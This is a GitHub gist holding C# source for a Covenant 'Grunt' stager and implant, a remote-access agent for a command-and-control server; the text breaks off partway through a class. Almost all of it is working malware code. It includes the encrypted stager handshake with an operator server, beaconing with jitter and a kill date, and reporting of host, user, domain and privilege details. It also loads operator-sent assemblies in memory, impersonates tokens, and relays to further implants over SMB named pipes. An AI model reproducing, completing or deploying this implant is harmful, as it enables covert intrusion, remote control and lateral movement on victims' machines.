Skip to content

Instantly share code, notes, and snippets.

@S3cur3Th1sSh1t
Created May 18, 2022 18:39
  • Star 4 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save S3cur3Th1sSh1t/967927eb89b81a5519df61440357f945 to your computer and use it in GitHub Desktop.
using System;
using System.Net;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.IO.Pipes;
using System.Reflection;
using System.Collections.Generic;
using System.Security.Cryptography;
using System.IO;
using System.IO.Compression;
using System.Threading;
using System.Security.Principal;
using System.Security.AccessControl;
namespace GruntStager
{
public class GruntStager
{
public GruntStager()
{
ExecuteStager();
}
[STAThread]
public static void Main(string[] args)
{
new GruntStager();
}
public static void Execute()
{
new GruntStager();
}
public void ExecuteStager()
{
try
{
List<string> CovenantURIs = @"{{REPLACE_COVENANT_URIS}}".Split(',').ToList();
string CovenantCertHash = @"{{REPLACE_COVENANT_CERT_HASH}}";
List<string> ProfileHttpHeaderNames = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
List<string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
List<string> ProfileHttpUrls = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
string ProfileHttpPostRequest = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n");
string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n");
bool ValidateCert = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}");
bool UseCertPinning = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}");
Random random = new Random();
string aGUID = @"{{REPLACE_GRUNT_GUID}}";
string GUID = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}");
string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";
Aes SetupAESKey = Aes.Create();
SetupAESKey.Mode = CipherMode.CBC;
SetupAESKey.Padding = PaddingMode.PKCS7;
SetupAESKey.Key = SetupKeyBytes;
SetupAESKey.GenerateIV();
HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());
byte[] RSAPublicKeyBytes = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey);
string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));
ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) =>
{
bool valid = true;
if (UseCertPinning && CovenantCertHash != "")
{
valid = cert.GetCertHashString() == CovenantCertHash;
}
if (valid && ValidateCert)
{
valid = errors == System.Net.Security.SslPolicyErrors.None;
}
return valid;
};
string transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
CookieWebClient wc = null;
string Stage0Response = "";
wc = new CookieWebClient();
wc.UseDefaultCredentials = true;
wc.Proxy = WebRequest.DefaultWebProxy;
wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
string CovenantURI = "";
foreach (string uri in CovenantURIs)
{
try
{
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
{
if (ProfileHttpHeaderNames[i] == "Cookie")
{
wc.SetCookies(new Uri(uri), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", ""));
}
else
{
wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", ""), ProfileHttpHeaderValues[i].Replace("{GUID}", ""));
}
}
wc.DownloadString(uri + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", ""));
CovenantURI = uri;
}
catch
{
continue;
}
}
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
{
if (ProfileHttpHeaderNames[i] == "Cookie")
{
wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
}
else
{
wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
}
}
Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0];
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
List<string> parsed = Parse(extracted, MessageFormat);
string iv64str = parsed[3];
string message64str = parsed[4];
string hash64str = parsed[5];
byte[] messageBytes = Convert.FromBase64String(message64str);
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
SetupAESKey.IV = Convert.FromBase64String(iv64str);
byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
byte[] FullyDecrypted = rsa.Decrypt(PartiallyDecrypted, true);
Aes SessionKey = Aes.Create();
SessionKey.Mode = CipherMode.CBC;
SessionKey.Padding = PaddingMode.PKCS7;
SessionKey.Key = FullyDecrypted;
SessionKey.GenerateIV();
hmac = new HMACSHA256(SessionKey.Key);
byte[] challenge1 = new byte[4];
RandomNumberGenerator rng = RandomNumberGenerator.Create();
rng.GetBytes(challenge1);
byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
hash = hmac.ComputeHash(EncryptedChallenge1);
string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));
string Stage1Response = "";
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
{
if (ProfileHttpHeaderNames[i] == "Cookie")
{
wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
}
else
{
wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
}
}
Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
extracted = Parse(Stage1Response, ProfileHttpPostResponse)[0];
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
parsed = Parse(extracted, MessageFormat);
iv64str = parsed[3];
message64str = parsed[4];
hash64str = parsed[5];
messageBytes = Convert.FromBase64String(message64str);
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
SessionKey.IV = Convert.FromBase64String(iv64str);
byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
byte[] challenge1Test = new byte[4];
byte[] challenge2 = new byte[4];
Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test)) { return; }
SessionKey.GenerateIV();
byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
hash = hmac.ComputeHash(EncryptedChallenge2);
string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));
string Stage2Response = "";
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
{
if (ProfileHttpHeaderNames[i] == "Cookie")
{
wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
}
else
{
wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
}
}
Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
/* We dont need all this
extracted = Parse(Stage2Response, ProfileHttpPostResponse)[0];
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
parsed = Parse(extracted, MessageFormat);
iv64str = parsed[3];
message64str = parsed[4];
hash64str = parsed[5];
messageBytes = Convert.FromBase64String(message64str);
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
*/
Grunt Stage2 = new Grunt();
Stage2.Execute(CovenantURI, CovenantCertHash, GUID, SessionKey);
/*SessionKey.IV = Convert.FromBase64String(iv64str);
byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
Assembly gruntAssembly = Assembly.Load(DecryptedAssembly);
gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, CovenantCertHash, GUID, SessionKey });
*/
}
catch (Exception e) { Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace); }
}
public class CookieWebClient : WebClient
{
public CookieContainer CookieContainer { get; private set; }
public CookieWebClient()
{
this.CookieContainer = new CookieContainer();
}
public void SetCookies(Uri uri, string cookies)
{
this.CookieContainer.SetCookies(uri, cookies);
}
protected override WebRequest GetWebRequest(Uri address)
{
var request = base.GetWebRequest(address) as HttpWebRequest;
if (request == null) return base.GetWebRequest(address);
request.CookieContainer = CookieContainer;
return request;
}
}
public static List<string> Parse(string data, string format)
{
format = Regex.Escape(format).Replace("\\{", "{").Replace("{{", "{").Replace("}}", "}");
if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); }
if (format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); }
if (format.Contains("{4}")) { format = format.Replace("{4}", "(?'group4'.*)"); }
if (format.Contains("{5}")) { format = format.Replace("{5}", "(?'group5'.*)"); }
Match match = new Regex(format).Match(data);
List<string> matches = new List<string>();
if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); }
if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); }
if (match.Groups["group4"] != null) { matches.Add(match.Groups["group4"].Value); }
if (match.Groups["group5"] != null) { matches.Add(match.Groups["group5"].Value); }
return matches;
}
public static class MessageTransform
{
public static string Transform(byte[] bytes)
{
return System.Convert.ToBase64String(bytes);
}
public static byte[] Invert(string str)
{
return System.Convert.FromBase64String(str);
}
}
}
class Grunt
{
public void Execute(string CovenantURI, string CovenantCertHash, string GUID, Aes SessionKey)
{
try
{
int Delay = Convert.ToInt32(@"{{REPLACE_DELAY}}");
int Jitter = Convert.ToInt32(@"{{REPLACE_JITTER_PERCENT}}");
int ConnectAttempts = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}");
DateTime KillDate = DateTime.FromBinary(long.Parse(@"{{REPLACE_KILL_DATE}}"));
List<string> ProfileHttpHeaderNames = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
List<string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
List<string> ProfileHttpUrls = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
string ProfileHttpGetResponse = @"{{REPLACE_PROFILE_HTTP_GET_RESPONSE}}".Replace(Environment.NewLine, "\n");
string ProfileHttpPostRequest = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n");
string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n");
bool ValidateCert = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}");
bool UseCertPinning = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}");
string Hostname = Dns.GetHostName();
string IPAddress = Dns.GetHostAddresses(Hostname)[0].ToString();
foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName()))
{
if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
{
IPAddress = a.ToString();
break;
}
}
string OperatingSystem = Environment.OSVersion.ToString();
string Process = System.Diagnostics.Process.GetCurrentProcess().ProcessName;
int Integrity = 2;
if (Environment.UserName.ToLower() == "system")
{
Integrity = 4;
}
else
{
var identity = WindowsIdentity.GetCurrent();
if (identity.Owner != identity.User)
{
Integrity = 3;
}
}
string UserDomainName = Environment.UserDomainName;
string UserName = Environment.UserName;
string RegisterBody = @"{ ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""hostname"": """ + Hostname + @""", ""operatingSystem"": """ + OperatingSystem + @""" }";
IMessenger baseMessenger = null;
baseMessenger = new HttpMessenger(CovenantURI, CovenantCertHash, UseCertPinning, ValidateCert, ProfileHttpHeaderNames, ProfileHttpHeaderValues, ProfileHttpUrls);
baseMessenger.Read();
baseMessenger.Identifier = GUID;
TaskingMessenger messenger = new TaskingMessenger
(
new MessageCrafter(GUID, SessionKey),
baseMessenger,
new Profile(ProfileHttpGetResponse, ProfileHttpPostRequest, ProfileHttpPostResponse)
);
messenger.QueueTaskingMessage(RegisterBody);
messenger.WriteTaskingMessage();
messenger.SetAuthenticator(messenger.ReadTaskingMessage().Message);
try
{
// A blank upward write, this helps in some cases with an HTTP Proxy
messenger.QueueTaskingMessage("");
messenger.WriteTaskingMessage();
}
catch (Exception) { }
List<KeyValuePair<string, Thread>> Tasks = new List<KeyValuePair<string, Thread>>();
WindowsImpersonationContext impersonationContext = null;
Random rnd = new Random();
int ConnectAttemptCount = 0;
bool alive = true;
while (alive)
{
int change = rnd.Next((int)Math.Round(Delay * (Jitter / 100.00)));
if (rnd.Next(2) == 0) { change = -change; }
Thread.Sleep((Delay + change) * 1000);
try
{
GruntTaskingMessage message = messenger.ReadTaskingMessage();
if (message != null)
{
ConnectAttemptCount = 0;
string output = "";
if (message.Type == GruntTaskingType.SetDelay || message.Type == GruntTaskingType.SetJitter || message.Type == GruntTaskingType.SetConnectAttempts)
{
if (int.TryParse(message.Message, out int val))
{
if (message.Type == GruntTaskingType.SetDelay)
{
Delay = val;
output += "Set Delay: " + Delay;
}
else if (message.Type == GruntTaskingType.SetJitter)
{
Jitter = val;
output += "Set Jitter: " + Jitter;
}
else if (message.Type == GruntTaskingType.SetConnectAttempts)
{
ConnectAttempts = val;
output += "Set ConnectAttempts: " + ConnectAttempts;
}
}
else
{
output += "Error parsing: " + message.Message;
}
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
}
else if (message.Type == GruntTaskingType.SetKillDate)
{
if (DateTime.TryParse(message.Message, out DateTime date))
{
KillDate = date;
output += "Set KillDate: " + KillDate.ToString();
}
else
{
output += "Error parsing: " + message.Message;
}
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
}
else if (message.Type == GruntTaskingType.Exit)
{
output += "Exited";
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
messenger.WriteTaskingMessage();
return;
}
else if (message.Type == GruntTaskingType.Tasks)
{
if (!Tasks.Where(T => T.Value.IsAlive).Any()) { output += "No active tasks!"; }
else
{
output += "Task Status" + Environment.NewLine;
output += "---- ------" + Environment.NewLine;
output += String.Join(Environment.NewLine, Tasks.Where(T => T.Value.IsAlive).Select(T => T.Key + " Active").ToArray());
}
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
}
else if (message.Type == GruntTaskingType.TaskKill)
{
var matched = Tasks.Where(T => T.Value.IsAlive && T.Key.ToLower() == message.Message.ToLower());
if (!matched.Any())
{
output += "No active task with name: " + message.Message;
}
else
{
KeyValuePair<string, Thread> t = matched.First();
t.Value.Abort();
Thread.Sleep(3000);
if (t.Value.IsAlive)
{
t.Value.Suspend();
}
output += "Task: " + t.Key + " killed!";
}
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name);
}
else if (message.Token)
{
if (impersonationContext != null)
{
impersonationContext.Undo();
}
IntPtr impersonatedToken = IntPtr.Zero;
Thread t = new Thread(() => impersonatedToken = TaskExecute(messenger, message, Delay));
t.Start();
Tasks.Add(new KeyValuePair<string, Thread>(message.Name, t));
bool completed = t.Join(5000);
if (completed && impersonatedToken != IntPtr.Zero)
{
try
{
WindowsIdentity identity = new WindowsIdentity(impersonatedToken);
impersonationContext = identity.Impersonate();
}
catch (ArgumentException) { }
}
else
{
impersonationContext = null;
}
}
else
{
Thread t = new Thread(() => TaskExecute(messenger, message, Delay));
t.Start();
Tasks.Add(new KeyValuePair<string, Thread>(message.Name, t));
}
}
messenger.WriteTaskingMessage();
}
catch (ObjectDisposedException e)
{
ConnectAttemptCount++;
messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, "").ToJson());
messenger.WriteTaskingMessage();
}
catch (Exception e)
{
ConnectAttemptCount++;
Console.Error.WriteLine("Loop Exception: " + e.GetType().ToString() + " " + e.Message + Environment.NewLine + e.StackTrace);
}
if (ConnectAttemptCount >= ConnectAttempts) { return; }
if (KillDate.CompareTo(DateTime.Now) < 0) { return; }
}
}
catch (Exception e)
{
Console.Error.WriteLine("Outer Exception: " + e.Message + Environment.NewLine + e.StackTrace);
}
}
private static IntPtr TaskExecute(TaskingMessenger messenger, GruntTaskingMessage message, int Delay)
{
const int MAX_MESSAGE_SIZE = 1048576;
string output = "";
try
{
if (message.Type == GruntTaskingType.Assembly)
{
string[] pieces = message.Message.Split(',');
if (pieces.Length > 0)
{
object[] parameters = null;
if (pieces.Length > 1) { parameters = new object[pieces.Length - 1]; }
for (int i = 1; i < pieces.Length; i++) { parameters[i - 1] = Encoding.UTF8.GetString(Convert.FromBase64String(pieces[i])); }
byte[] compressedBytes = Convert.FromBase64String(pieces[0]);
byte[] decompressedBytes = Utilities.Decompress(compressedBytes);
Assembly gruntTask = Assembly.Load(decompressedBytes);
PropertyInfo streamProp = gruntTask.GetType("Task").GetProperty("OutputStream");
string results = "";
if (streamProp == null)
{
results = (string)gruntTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters);
}
else
{
Thread invokeThread = new Thread(() => results = (string)gruntTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters));
using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable))
{
using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString()))
{
streamProp.SetValue(null, pipeClient, null);
DateTime lastTime = DateTime.Now;
invokeThread.Start();
using (StreamReader reader = new StreamReader(pipeServer))
{
object synclock = new object();
string currentRead = "";
Thread readThread = new Thread(() => {
int count;
char[] read = new char[MAX_MESSAGE_SIZE];
while ((count = reader.Read(read, 0, read.Length)) > 0)
{
lock (synclock)
{
currentRead += new string(read, 0, count);
}
}
});
readThread.Start();
while (readThread.IsAlive)
{
Thread.Sleep(Delay * 1000);
lock (synclock)
{
try
{
if (currentRead.Length >= MAX_MESSAGE_SIZE)
{
for (int i = 0; i < currentRead.Length; i += MAX_MESSAGE_SIZE)
{
string aRead = currentRead.Substring(i, Math.Min(MAX_MESSAGE_SIZE, currentRead.Length - i));
try
{
GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Progressed, aRead);
messenger.QueueTaskingMessage(response.ToJson(), message.Name);
}
catch (Exception) { }
}
currentRead = "";
lastTime = DateTime.Now;
}
else if (currentRead.Length > 0 && DateTime.Now > (lastTime.Add(TimeSpan.FromSeconds(Delay))))
{
GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Progressed, currentRead);
messenger.QueueTaskingMessage(response.ToJson(), message.Name);
currentRead = "";
lastTime = DateTime.Now;
}
}
catch (ThreadAbortException) { break; }
catch (Exception) { currentRead = ""; }
}
}
output += currentRead;
}
}
}
invokeThread.Join();
}
output += results;
}
}
else if (message.Type == GruntTaskingType.Connect)
{
string[] split = message.Message.Split(',');
bool connected = messenger.Connect(split[0], split[1]);
output += connected ? "Connection to " + split[0] + ":" + split[1] + " succeeded!" :
"Connection to " + split[0] + ":" + split[1] + " failed.";
}
else if (message.Type == GruntTaskingType.Disconnect)
{
bool disconnected = messenger.Disconnect(message.Message);
output += disconnected ? "Disconnect succeeded!" : "Disconnect failed.";
}
}
catch (Exception e)
{
try
{
GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, "Task Exception: " + e.Message + Environment.NewLine + e.StackTrace);
messenger.QueueTaskingMessage(response.ToJson(), message.Name);
}
catch (Exception) { }
}
finally
{
for (int i = 0; i < output.Length; i += MAX_MESSAGE_SIZE)
{
string aRead = output.Substring(i, Math.Min(MAX_MESSAGE_SIZE, output.Length - i));
try
{
GruntTaskingStatus status = i + MAX_MESSAGE_SIZE < output.Length ? GruntTaskingStatus.Progressed : GruntTaskingStatus.Completed;
GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(status, aRead);
messenger.QueueTaskingMessage(response.ToJson(), message.Name);
}
catch (Exception) { }
}
if (string.IsNullOrEmpty(output))
{
GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, "");
messenger.QueueTaskingMessage(response.ToJson(), message.Name);
}
}
return WindowsIdentity.GetCurrent().Token;
}
}
public enum MessageType
{
Read,
Write
}
public class ProfileMessage
{
public MessageType Type { get; set; }
public string Message { get; set; }
}
public class MessageEventArgs : EventArgs
{
public string Message { get; set; }
}
public interface IMessenger
{
string Hostname { get; }
string Identifier { get; set; }
string Authenticator { get; set; }
EventHandler<MessageEventArgs> UpstreamEventHandler { get; set; }
ProfileMessage Read();
void Write(string Message);
void Close();
}
public class Profile
{
private string GetResponse { get; }
private string PostRequest { get; }
private string PostResponse { get; }
public Profile(string GetResponse, string PostRequest, string PostResponse)
{
this.GetResponse = GetResponse;
this.PostRequest = PostRequest;
this.PostResponse = PostResponse;
}
public GruntEncryptedMessage ParseGetResponse(string Message) { return Parse(this.GetResponse, Message); }
public GruntEncryptedMessage ParsePostRequest(string Message) { return Parse(this.PostRequest, Message); }
public GruntEncryptedMessage ParsePostResponse(string Message) { return Parse(this.PostResponse, Message); }
public string FormatGetResponse(GruntEncryptedMessage Message) { return Format(this.GetResponse, Message); }
public string FormatPostRequest(GruntEncryptedMessage Message) { return Format(this.PostRequest, Message); }
public string FormatPostResponse(GruntEncryptedMessage Message) { return Format(this.PostResponse, Message); }
private static GruntEncryptedMessage Parse(string Format, string Message)
{
string json = Common.GruntEncoding.GetString(Utilities.MessageTransform.Invert(
Utilities.Parse(Message, Format)[0]
));
if (json == null || json.Length < 3)
{
return null;
}
return GruntEncryptedMessage.FromJson(json);
}
private static string Format(string Format, GruntEncryptedMessage Message)
{
return String.Format(Format,
Utilities.MessageTransform.Transform(Common.GruntEncoding.GetBytes(GruntEncryptedMessage.ToJson(Message)))
);
}
}
public class TaskingMessenger
{
private object _UpstreamLock = new object();
private IMessenger UpstreamMessenger { get; set; }
private object _MessageQueueLock = new object();
private Queue<string> MessageQueue { get; } = new Queue<string>();
private MessageCrafter Crafter { get; }
private Profile Profile { get; }
protected List<IMessenger> DownstreamMessengers { get; } = new List<IMessenger>();
public TaskingMessenger(MessageCrafter Crafter, IMessenger Messenger, Profile Profile)
{
this.Crafter = Crafter;
this.UpstreamMessenger = Messenger;
this.Profile = Profile;
this.UpstreamMessenger.UpstreamEventHandler += (sender, e) => {
this.QueueTaskingMessage(e.Message);
this.WriteTaskingMessage();
};
}
public GruntTaskingMessage ReadTaskingMessage()
{
ProfileMessage readMessage = null;
lock (_UpstreamLock)
{
readMessage = this.UpstreamMessenger.Read();
}
if (readMessage == null)
{
return null;
}
GruntEncryptedMessage gruntMessage = null;
if (readMessage.Type == MessageType.Read)
{
gruntMessage = this.Profile.ParseGetResponse(readMessage.Message);
}
else if (readMessage.Type == MessageType.Write)
{
gruntMessage = this.Profile.ParsePostResponse(readMessage.Message);
}
if (gruntMessage == null)
{
return null;
}
else if (gruntMessage.Type == GruntEncryptedMessage.GruntEncryptedMessageType.Tasking)
{
string json = this.Crafter.Retrieve(gruntMessage);
return (json == null || json == "") ? null : GruntTaskingMessage.FromJson(json);
}
else
{
string json = this.Crafter.Retrieve(gruntMessage);
GruntEncryptedMessage wrappedMessage = GruntEncryptedMessage.FromJson(json);
IMessenger relay = this.DownstreamMessengers.FirstOrDefault(DM => DM.Identifier == wrappedMessage.GUID);
if (relay != null)
{
relay.Write(this.Profile.FormatGetResponse(wrappedMessage));
}
return null;
}
}
public void QueueTaskingMessage(string Message, string Meta = "")
{
GruntEncryptedMessage gruntMessage = this.Crafter.Create(Message, Meta);
string uploaded = this.Profile.FormatPostRequest(gruntMessage);
lock (_MessageQueueLock)
{
this.MessageQueue.Enqueue(uploaded);
}
}
public void WriteTaskingMessage()
{
try
{
lock (_UpstreamLock)
{
lock (_MessageQueueLock)
{
this.UpstreamMessenger.Write(this.MessageQueue.Dequeue());
}
}
}
catch (InvalidOperationException) { }
}
public void SetAuthenticator(string Authenticator)
{
lock (this._UpstreamLock)
{
this.UpstreamMessenger.Authenticator = Authenticator;
}
}
public bool Connect(string Hostname, string PipeName)
{
IMessenger olddownstream = this.DownstreamMessengers.FirstOrDefault(DM => DM.Hostname.ToLower() == (Hostname + ":" + PipeName).ToLower());
if (olddownstream != null)
{
olddownstream.Close();
this.DownstreamMessengers.Remove(olddownstream);
}
SMBMessenger downstream = new SMBMessenger(Hostname, PipeName);
Thread readThread = new Thread(() =>
{
while (downstream.IsConnected)
{
try
{
ProfileMessage read = downstream.Read();
if (read != null && !string.IsNullOrEmpty(read.Message))
{
if (string.IsNullOrEmpty(downstream.Identifier))
{
GruntEncryptedMessage message = this.Profile.ParsePostRequest(read.Message);
if (message.GUID.Length == 20)
{
downstream.Identifier = message.GUID.Substring(10);
}
else if (message.GUID.Length == 10)
{
downstream.Identifier = message.GUID;
}
}
this.UpstreamMessenger.Write(read.Message);
}
}
catch (Exception e)
{
Console.Error.WriteLine("Thread Exception: " + e.Message + Environment.NewLine + e.StackTrace);
}
}
// Connection became disconnected and therefore we remove the downstream object
this.DownstreamMessengers.Remove(downstream);
});
downstream.ReadThread = readThread;
downstream.ReadThread.Start();
this.DownstreamMessengers.Add(downstream);
return true;
}
public bool Disconnect(string Identifier)
{
IMessenger downstream = this.DownstreamMessengers.FirstOrDefault(DM => DM.Identifier.ToLower() == Identifier.ToLower());
if (downstream != null)
{
downstream.Close();
this.DownstreamMessengers.Remove(downstream);
return true;
}
return false;
}
}
public class SMBMessenger : IMessenger
{
public string Hostname { get; } = string.Empty;
public string Identifier { get; set; } = string.Empty;
public string Authenticator { get; set; } = string.Empty;
public EventHandler<MessageEventArgs> UpstreamEventHandler { get; set; }
public Thread ReadThread { get; set; } = null;
private string PipeName { get; } = null;
// Thread that monitors the status of the named pipe and updates _IsConnected accordingly.
private Thread MonitoringThread { get; set; } = null;
// This flag syncs communication peers in case one of the them dies (see method Read and Write)
private bool IsServer { get; set; }
private int Timeout { get; set; } = 5000;
private object _PipeLock = new object();
private PipeStream _Pipe;
private PipeStream Pipe
{
get { lock (this._PipeLock) { return this._Pipe; } }
set { lock (this._PipeLock) { this._Pipe = value; } }
}
protected object _IsConnectedLock = new object();
private bool _IsConnected;
public bool IsConnected
{
get { lock (this._IsConnectedLock) { return this._IsConnected; } }
set { lock (this._IsConnectedLock) { this._IsConnected = value; } }
}
public SMBMessenger(string Hostname, string Pipename)
{
this.Hostname = Hostname;
this.PipeName = Pipename;
this.IsServer = false;
this.InitializePipe();
}
public SMBMessenger(PipeStream Pipe, string Pipename)
{
this.Pipe = Pipe;
this.PipeName = Pipename;
